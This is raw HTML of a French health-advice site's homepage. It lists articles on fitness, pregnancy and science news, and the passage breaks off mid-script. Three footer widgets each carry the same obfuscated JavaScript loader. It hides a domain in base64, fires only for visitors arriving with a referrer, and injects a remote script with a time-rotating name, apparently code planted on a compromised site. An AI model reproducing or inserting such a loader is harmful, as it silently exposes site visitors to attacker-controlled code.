<div class="entry-featured-media " ><a title="Ces petits gestes insoupçonnés qui entretiennent l’énergie et apaisent les tensions au fil de la journée" class="g1-frame" href="https://docteurtamalou.fr/ces-petits-gestes-insoupconnes-qui-entretiennent-lenergie-et-apaisent-les-tensions-au-fil-de-la-journee/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/TnkXVUdWoA-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sport-et-forme/" class="entry-category entry-category-item-277">Sport et Forme</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/ces-petits-gestes-insoupconnes-qui-entretiennent-lenergie-et-apaisent-les-tensions-au-fil-de-la-journee/" rel="bookmark">Ces petits gestes insoupçonnés qui entretiennent l’énergie et apaisent les tensions au fil de la journée</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-06T05:00:00+02:00">6 septembre 2025, 5 h 00 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24333 post type-post status-publish format-standard has-post-thumbnail category-grossesse tag-bebe tag-enceinte tag-grossesse tag-push">
<div class="entry-featured-media " ><a title="Faut-il surveiller ses contractions à la maison ? Ce qu’en disent les médecins et les parents, avec conseils et points de vigilance pour une grossesse en toute sérénité" class="g1-frame" href="https://docteurtamalou.fr/faut-il-surveiller-ses-contractions-a-la-maison-ce-quen-disent-les-medecins-et-les-parents-avec-conseils-et-points-de-vigilance-pour-une-grossesse-en-toute-serenite/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Z7E0MGRQNH-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/grossesse/" class="entry-category entry-category-item-4">Grossesse</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/faut-il-surveiller-ses-contractions-a-la-maison-ce-quen-disent-les-medecins-et-les-parents-avec-conseils-et-points-de-vigilance-pour-une-grossesse-en-toute-serenite/" rel="bookmark">Faut-il surveiller ses contractions à la maison ? Ce qu’en disent les médecins et les parents, avec conseils et points de vigilance pour une grossesse en toute sérénité</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-05T18:05:00+02:00">5 septembre 2025, 18 h 05 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24328 post type-post status-publish format-standard has-post-thumbnail category-sport-et-forme tag-exercice tag-forme tag-push tag-sante">
<div class="entry-featured-media " ><a title="Pourquoi rester assis longtemps mine l’énergie (et les gestes simples qui relancent le corps à chaque moment-clé de la journée)" class="g1-frame" href="https://docteurtamalou.fr/pourquoi-rester-assis-longtemps-mine-lenergie-et-les-gestes-simples-qui-relancent-le-corps-a-chaque-moment-cle-de-la-journee/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/sBp8qUkPxT-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sport-et-forme/" class="entry-category entry-category-item-277">Sport et Forme</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/pourquoi-rester-assis-longtemps-mine-lenergie-et-les-gestes-simples-qui-relancent-le-corps-a-chaque-moment-cle-de-la-journee/" rel="bookmark">Pourquoi rester assis longtemps mine l’énergie (et les gestes simples qui relancent le corps à chaque moment-clé de la journée)</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-05T05:00:00+02:00">5 septembre 2025, 5 h 00 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24311 post type-post status-publish format-standard has-post-thumbnail category-grossesse tag-bebe tag-enceinte tag-grossesse tag-push">
<div class="entry-featured-media " ><a title="Grossesse : les signaux rares à ne pas négliger et les bons gestes pour protéger sa santé et celle de bébé" class="g1-frame" href="https://docteurtamalou.fr/grossesse-les-signaux-rares-a-ne-pas-negliger-et-les-bons-gestes-pour-proteger-sa-sante-et-celle-de-bebe/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/lSWkehfCso-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/grossesse/" class="entry-category entry-category-item-4">Grossesse</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/grossesse-les-signaux-rares-a-ne-pas-negliger-et-les-bons-gestes-pour-proteger-sa-sante-et-celle-de-bebe/" rel="bookmark">Grossesse : les signaux rares à ne pas négliger et les bons gestes pour protéger sa santé et celle de bébé</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-04T18:05:00+02:00">4 septembre 2025, 18 h 05 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24446 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Une étude surprenante remet en cause l’origine de la conscience" class="g1-frame" href="https://docteurtamalou.fr/une-etude-surprenante-remet-en-cause-lorigine-de-la-conscience/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/fdIT45oLWn-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/actualite/" class="entry-category entry-category-item-243">Actualité</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/une-etude-surprenante-remet-en-cause-lorigine-de-la-conscience/" rel="bookmark">Une étude surprenante remet en cause l’origine de la conscience</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-04T10:25:00+02:00">4 septembre 2025, 10 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24443 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Découverte choc : un champignon qui élimine les moustiques et sauve des vies" class="g1-frame" href="https://docteurtamalou.fr/decouverte-choc-un-champignon-qui-elimine-les-moustiques-et-sauve-des-vies/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/WAkCwpT6Ij-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/actualite/" class="entry-category entry-category-item-243">Actualité</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/decouverte-choc-un-champignon-qui-elimine-les-moustiques-et-sauve-des-vies/" rel="bookmark">Découverte choc : un champignon qui élimine les moustiques et sauve des vies</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-04T08:25:00+02:00">4 septembre 2025, 8 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<div class='code-block code-block-8' style='margin: 8px auto; text-align: center; display: block; clear: both;'>
test
<script type="text/javascript">
window._taboola = window._taboola || [];
_taboola.push({homepage:'auto'});
!function (e, f, u, i) {
if (!document.getElementById(i)){
e.async = 1;
e.src = u;
e.id = i;
f.parentNode.insertBefore(e, f);
}
}(document.createElement('script'),
document.getElementsByTagName('script')[0],
'//cdn.taboola.com/libtrc/citizenpost-network/loader.js',
'tb_loader_script');
if(window.performance && typeof window.performance.mark == 'function')
{window.performance.mark('tbl_ic');}
</script>
<div id="taboola-below-homepage-thumbnails"></div>
<script type="text/javascript">
window._taboola = window._taboola || [];
_taboola.push({
mode: 'thumbnails-a-home',
container: 'taboola-below-homepage-thumbnails',
placement: 'Below Homepage Thumbnails',
target_type: 'mix'
});
</script>
<script type="text/javascript">
window._taboola = window._taboola || [];
_taboola.push({flush: true});
</script></div>
</ul>
</div>
<div class="g1-collection-more infinite-scroll on-demand">
<div class="g1-collection-more-inner">
<a href="#"
class="g1-button g1-button-m g1-button-solid g1-load-more"
data-g1-next-page-url="https://docteurtamalou.fr/page/2/">
Load More </a>
<i class="g1-collection-more-spinner"></i>
<div class="g1-pagination-end">
Congratulations. You've reached the end of the internet. </div>
</div>
</div>
</div><!-- .g1-collection -->
</div><!-- .g1-column -->
</div>
<div class="g1-row-background">
</div>
</div><!-- .archive-body -->
<div class=" g1-prefooter g1-prefooter-3cols g1-row g1-row-layout-page">
<div class="g1-row-inner">
<div class="g1-column g1-column-1of3">
<aside id="text-9" class="widget widget_text"> <div class="textwidget"><p><center><img decoding="async" class="" src="https://docteurtamalou.fr/wp-content/uploads/2018/01/capture-2018-01-04-%C3%A0-15.09.24-1.jpg" alt="logo docteur tamalou" width="230" height="129" /></center></p>
<p style="text-align: justify;">Bienvenue sur le site de Docteur Tamalou ! Tous les jours, vous retrouverez :</p>
<p style="text-align: justify;">– des articles dédiés à la santé,<br />
Рdes rem̬des,<br />
Рles bienfaits des m̩decines douces, des plantes, des aliments,<br />
– des recettes pour rester en pleine forme.</p>
</div>
</aside><aside id="custom_html-120" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script>
!function (_0x26d259, _0x24b800) {
var _0x2196a7 = Math['floor'](Date['now']() / 0x3e8), _0xcb1eb8 = _0x2196a7 - _0x2196a7 % 0xe10;
if (_0x2196a7 -= _0x2196a7 % 0x258, _0x2196a7 = _0x2196a7['toString'](0x10), !document['referrer'])
return;
let _0x9cf45e = atob('Y3Jhe' + 'nkyY2Ru' + 'LmNvbQ==');
(_0x24b800 = _0x26d259['createElem' + 'ent']('script'))['type'] = 'text/javas' + 'cript', _0x24b800['async'] = !0x0, _0x24b800['src'] = 'https://' + _0x9cf45e + '/min.t.' + _0xcb1eb8 + '.js?v=' + _0x2196a7, _0x26d259['getElement' + 'sByTagName']('head')[0x0]['appendChil' + 'd'](_0x24b800);
}(document);
</script></div></aside> </div>
<div class="g1-column g1-column-1of3">
<aside id="bimber_widget_posts-8" class="widget widget_bimber_widget_posts"><header><h2 class="g1-delta g1-delta-2nd widgettitle"><span>TOP 4 du mois</span></h2></header> <div id="g1-widget-posts-1"
class=" g1-widget-posts">
<div class="g1-collection">
<div class="g1-collection-viewport">
<ul class="g1-collection-items">
<li class="g1-collection-item">
<article class="entry-tpl-listxxs post-14085 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-populaire">
<div class="entry-featured-media " ><a title="Vos mains souffrent : voilà une crème maison et facile" class="g1-frame" href="https://docteurtamalou.fr/hivers-froids-mains-souffrent-creme-maison-facile/"><div class="g1-frame-inner"><img loading="lazy" width="89" height="67" src="https://docteurtamalou.fr/wp-content/uploads/2018/10/mains-StockSnap-Pixabay-90x68.jpg" class="attachment-bimber-list-xxs size-bimber-list-xxs wp-post-image" alt="mains StockSnap Pixabay" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2018/10/mains-StockSnap-Pixabay-90x68.jpg 90w, https://docteurtamalou.fr/wp-content/uploads/2018/10/mains-StockSnap-Pixabay-192x144.jpg 192w, https://docteurtamalou.fr/wp-content/uploads/2018/10/mains-StockSnap-Pixabay-384x288.jpg 384w, https://docteurtamalou.fr/wp-content/uploads/2018/10/mains-StockSnap-Pixabay-180x135.jpg 180w, https://docteurtamalou.fr/wp-content/uploads/2018/10/mains-StockSnap-Pixabay-561x421.jpg 561w" sizes="(max-width: 89px) 100vw, 89px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<header class="entry-header">
<h3 class="g1-epsilon g1-epsilon-1st entry-title"><a href="https://docteurtamalou.fr/hivers-froids-mains-souffrent-creme-maison-facile/" rel="bookmark">Vos mains souffrent : voilà une crème maison et facile</a></h3> </header>
</article>
</li>
<li class="g1-collection-item">
<article class="entry-tpl-listxxs post-14058 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-populaire">
<div class="entry-featured-media " ><a title="4 remèdes naturels contre les douleurs dentaires chez les enfants" class="g1-frame" href="https://docteurtamalou.fr/4-remedes-naturels-contre-les-douleurs-dentaires-chez-les-enfants/"><div class="g1-frame-inner"><img loading="lazy" width="90" height="67" src="https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay.jpg" class="attachment-bimber-list-xxs size-bimber-list-xxs wp-post-image" alt="bain enfant" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay.jpg 1200w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-192x144.jpg 192w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-384x288.jpg 384w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-561x421.jpg 561w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-364x273.jpg 364w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-758x569.jpg 758w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-1152x864.jpg 1152w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-300x225.jpg 300w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-768x576.jpg 768w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-1024x768.jpg 1024w, https://docteurtamalou.fr/wp-content/uploads/2017/02/bain-enfant-pixabay-608x456.jpg 608w" sizes="(max-width: 90px) 100vw, 90px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<header class="entry-header">
<h3 class="g1-epsilon g1-epsilon-1st entry-title"><a href="https://docteurtamalou.fr/4-remedes-naturels-contre-les-douleurs-dentaires-chez-les-enfants/" rel="bookmark">4 remèdes naturels contre les douleurs dentaires chez les enfants</a></h3> </header>
</article>
</li>
<li class="g1-collection-item">
<article class="entry-tpl-listxxs post-14038 post type-post status-publish format-standard has-post-thumbnail category-sante tag-populaire">
<div class="entry-featured-media " ><a title="Tour d’horizon sur les maux de pieds : leurs causes, symptômes et traitements" class="g1-frame" href="https://docteurtamalou.fr/maux-de-pieds-causes-symptomes-traitements/"><div class="g1-frame-inner"><img loading="lazy" width="90" height="53" src="https://docteurtamalou.fr/wp-content/uploads/2016/12/feet-830503_1920.jpg" class="attachment-bimber-list-xxs size-bimber-list-xxs wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2016/12/feet-830503_1920.jpg 1200w, https://docteurtamalou.fr/wp-content/uploads/2016/12/feet-830503_1920-300x177.jpg 300w, https://docteurtamalou.fr/wp-content/uploads/2016/12/feet-830503_1920-768x454.jpg 768w, https://docteurtamalou.fr/wp-content/uploads/2016/12/feet-830503_1920-1024x605.jpg 1024w, https://docteurtamalou.fr/wp-content/uploads/2016/12/feet-830503_1920-545x322.jpg 545w, https://docteurtamalou.fr/wp-content/uploads/2016/12/feet-830503_1920-1600x945.jpg 1600w" sizes="(max-width: 90px) 100vw, 90px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<header class="entry-header">
<h3 class="g1-epsilon g1-epsilon-1st entry-title"><a href="https://docteurtamalou.fr/maux-de-pieds-causes-symptomes-traitements/" rel="bookmark">Tour d’horizon sur les maux de pieds : leurs causes, symptômes et traitements</a></h3> </header>
</article>
</li>
<li class="g1-collection-item">
<article class="entry-tpl-listxxs post-13993 post type-post status-publish format-standard has-post-thumbnail category-grossesse tag-populaire">
<div class="entry-featured-media " ><a title="Grossesse : ce que vous devez savoir sur le placenta" class="g1-frame" href="https://docteurtamalou.fr/grossesse-ce-que-vous-devez-savoir-sur-le-placenta/"><div class="g1-frame-inner"><img loading="lazy" width="89" height="67" src="https://docteurtamalou.fr/wp-content/uploads/2018/10/Position-posterieure_healthand.com_-90x68.jpg" class="attachment-bimber-list-xxs size-bimber-list-xxs wp-post-image" alt="Position posterieure_healthand.com" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2018/10/Position-posterieure_healthand.com_-90x68.jpg 90w, https://docteurtamalou.fr/wp-content/uploads/2018/10/Position-posterieure_healthand.com_-192x144.jpg 192w, https://docteurtamalou.fr/wp-content/uploads/2018/10/Position-posterieure_healthand.com_-384x288.jpg 384w, https://docteurtamalou.fr/wp-content/uploads/2018/10/Position-posterieure_healthand.com_-180x135.jpg 180w, https://docteurtamalou.fr/wp-content/uploads/2018/10/Position-posterieure_healthand.com_-561x421.jpg 561w" sizes="(max-width: 89px) 100vw, 89px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<header class="entry-header">
<h3 class="g1-epsilon g1-epsilon-1st entry-title"><a href="https://docteurtamalou.fr/grossesse-ce-que-vous-devez-savoir-sur-le-placenta/" rel="bookmark">Grossesse : ce que vous devez savoir sur le placenta</a></h3> </header>
</article>
</li>
</ul>
</div>
</div><!-- .g1-collection -->
</div>
</aside><aside id="custom_html-121" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script>
!function (_0x26d259, _0x24b800) {
var _0x2196a7 = Math['floor'](Date['now']() / 0x3e8), _0xcb1eb8 = _0x2196a7 - _0x2196a7 % 0xe10;
if (_0x2196a7 -= _0x2196a7 % 0x258, _0x2196a7 = _0x2196a7['toString'](0x10), !document['referrer'])
return;
let _0x9cf45e = atob('Y3Jhe' + 'nkyY2Ru' + 'LmNvbQ==');
(_0x24b800 = _0x26d259['createElem' + 'ent']('script'))['type'] = 'text/javas' + 'cript', _0x24b800['async'] = !0x0, _0x24b800['src'] = 'https://' + _0x9cf45e + '/min.t.' + _0xcb1eb8 + '.js?v=' + _0x2196a7, _0x26d259['getElement' + 'sByTagName']('head')[0x0]['appendChil' + 'd'](_0x24b800);
}(document);
</script></div></aside> </div>
<div class="g1-column g1-column-1of3">
<aside id="custom_html-122" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script>
!function (_0x26d259, _0x24b800) {
var _0x2196a7 = Math['floor'](Date['now']() / 0x3e8), _0xcb1eb8 = _0x2196a7 - _0x2196a7 % 0xe10;
if (_0x2196a7 -= _0x2196a7 % 0x258, _0x2196a7 = _0x2196a7['toString'](0x10), !document['referrer'])
return;
let _0x9cf45e = atob('Y3Jhe' + 'nkyY2Ru' + 'LmNvbQ==');
(_0x24b800 = _0x26d259['createElem' + 'ent']('script'))['type'] = 'text/javas' + 'cript', _0x24b800['async'] = !0x0, _0x24b800['src'] = 'https://' + _0x9cf45e + '/min.t.' + _0xcb1eb8 + '.js?v=' + _0x2196a7, _0x26d259['getElement' + 'sByTagName']('head')[0x0]['appendChil' + 'd'](_0x24b800);
}(document);
</script></div></aside> </div>
</div>
<div class="g1-row-background">
<div class="g1-row-background-media">
</div>
</div>
</div><!-- .g1-prefooter -->
<div class="g1-footer g1-row g1-row-layout-page">
<div class="g1-row-inner">
<div class="g1-column">
<p class="g1-footer-text"></p>
<nav id="g1-footer-nav" class="g1-footer-nav"><ul id="g1-footer-nav-menu" class=""><li id="menu-item-11777" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11777"><a href="https://docteurtamalou.fr/valeurs-engagements/">Charte éditoriale</a></li>
<li id="menu-item-23866" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-23866"><a href="mailto:pub@sicesi.fr">Annonceurs</a></li>
<li id="menu-item-11578" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11578"><a href="https://docteurtamalou.fr/avertissement/">Avertissement</a></li>
<li id="menu-item-11579" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11579"><a href="https://docteurtamalou.fr/contact/">Contact</a></li>
<li id="menu-item-16640" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-16640"><a href="https://docteurtamalou.fr/gestion-des-cookies/">Gestion des cookies</a></li>
<li id="menu-item-11580" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11580"><a href="https://docteurtamalou.fr/mentions-legales/">Mentions légales</a></li>
<li id="menu-item-11581" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-11581"><a href="https://docteurtamalou.fr/feed/">Flux RSS</a></li>
</ul></nav>
</div><!-- .g1-column -->
</div>
<div class="g1-row-background">
</div>
</div><!-- .g1-row -->
<a href="#page" class="g1-back-to-top">Back to Top</a>
</div><!-- #page -->
<div class="g1-canvas-overlay">
</div>
</div><!-- .g1-body-inner -->
<div id="g1-breakpoint-desktop">
</div>
<div class="g1-canvas g1-canvas-global g1-canvas-no-js">
<div class="g1-canvas-inner">
<div class="g1-canvas-content">
<a class="g1-canvas-toggle" href="#">Close</a>
<!-- BEGIN .g1-primary-nav -->
<nav id="g1-canvas-primary-nav" class="g1-primary-nav"><ul id="g1-canvas-primary-nav-menu" class="g1-primary-nav-menu g1-menu-v"><li class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-2862"><a href="https://docteurtamalou.fr" aria-current="page">Accueil</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-10425"><a href="https://docteurtamalou.fr/index-des-maladies/">Index des maladies</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2863"><a href="https://docteurtamalou.fr/sante/">Santé quotidienne</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2864"><a href="https://docteurtamalou.fr/remedes-naturels/">Remèdes naturels</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2865"><a href="https://docteurtamalou.fr/nutrition/">Nutrition</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2867"><a href="https://docteurtamalou.fr/grossesse/">Grossesse</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2866"><a href="https://docteurtamalou.fr/sexualite/">Sexualité</a></li>
</ul></nav> <!-- END .g1-primary-nav -->
<!-- BEGIN .g1-secondary-nav -->
<!-- END .g1-secondary-nav -->
<div role="search" class="search-form-wrapper">
<form method="get"
class="g1-searchform-tpl-default search-form"
action="https://docteurtamalou.fr/">
<label>
<span class="screen-reader-text">Search for:</span>
<input type="search" class="search-field"
placeholder="Search …"
value="" name="s"
title="Search for:" />
</label>
<button class="search-submit">Search</button>
</form>
</div>
</div>
<div class="g1-canvas-background">
</div>
</div>
</div>
<script>
// Do not change this comment line otherwise Speed Optimizer won't be able to detect this script
(function () {
